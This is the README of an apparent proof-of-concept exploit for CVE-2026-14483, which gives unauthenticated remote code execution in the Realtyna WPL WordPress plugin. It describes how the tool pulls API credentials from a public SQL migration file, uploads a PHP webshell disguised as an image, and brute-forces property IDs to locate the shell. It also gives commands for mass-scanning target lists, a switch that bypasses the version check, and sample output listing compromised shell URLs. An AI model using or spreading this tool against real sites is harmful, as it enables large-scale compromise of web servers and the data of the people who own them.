
CVE-2026-14483 POC EXPLOIT BY MADEXPLOITS
Unauthenticated remote code execution against the Realtyna WPL Real Estate Listing WordPress plugin.
| Field | Detail |
|---|---|
| CVE | CVE-2026-14483 |
| Affected version | <= 5.2.0 |
| Plugin | real-estate-listing-realtyna-wpl |
| Impact | Unauthenticated PHP webshell upload (RCE) |
| Script | CVE-2026-14483.py |
| Author | MADEXPLOITS |
By default the script only exploits targets running WPL 5.2.0. Use
--forceto override.
api_key / api_secret are exposed via a public SQL migration dump.set_property), allowing a crafted PHP file to be uploaded as a property image.wp-content/uploads/WPL/{property_id}/.pip install requests colorama
Create a text file with one base URL per line:
http://wplab.test
https://example.com
python CVE-2026-14483.py --targets targets.txt
Successful shell URLs are appended to result.txt (or --output).
python CVE-2026-14483.py \
--targets targets.txt \
--output result.txt \
--user-id 1 \
--max-id 1000 \
--timeout 30 \
--threads 5 \
--debug \
--force
Target URL
│
▼
Detect WPL version (readme.txt / wpl.php)
│ skip unless == 5.2.0 (or --force)
▼
Fetch api_key + api_secret from:
/wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
│
▼
POST set_property via WPL I/O API
(upload image_0x89MADEXPLOITS.php as image/jpeg)
│
▼
Brute-force property ID 1..max-id
/wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
│
▼
Write shell URL → output file
Default shell marker: MADEXPLOITS
Default remote filename: 0x89MADEXPLOITS.php
Single lab target (this workspace):
echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug
Mass scan with higher concurrency:
python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt
Force exploit when version check fails:
python CVE-2026-14483.py --targets targets.txt --force
[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.
result.txt contains one shell URL per line.
Stable tag: / Version: in the plugin readme.txt, with fallback to wpl.php.--max-id.| Argument | Default | Description |
|---|
--targets | (required) | File with base URLs (one per line) |
--output | result.txt | File to append found shell URLs |
--user-id | 1 | WordPress / WPL user ID that owns the new property |
--payload | built-in upload shell | Custom PHP payload string |
--max-id | 1000 | Max property ID to brute-force when locating the shell |
--timeout | 30 | HTTP timeout in seconds |
--threads | 5 | Concurrent worker threads |
--debug | off | Verbose debug logging |
--force | off | Exploit even if version ≠ 5.2.0 or version cannot be detected |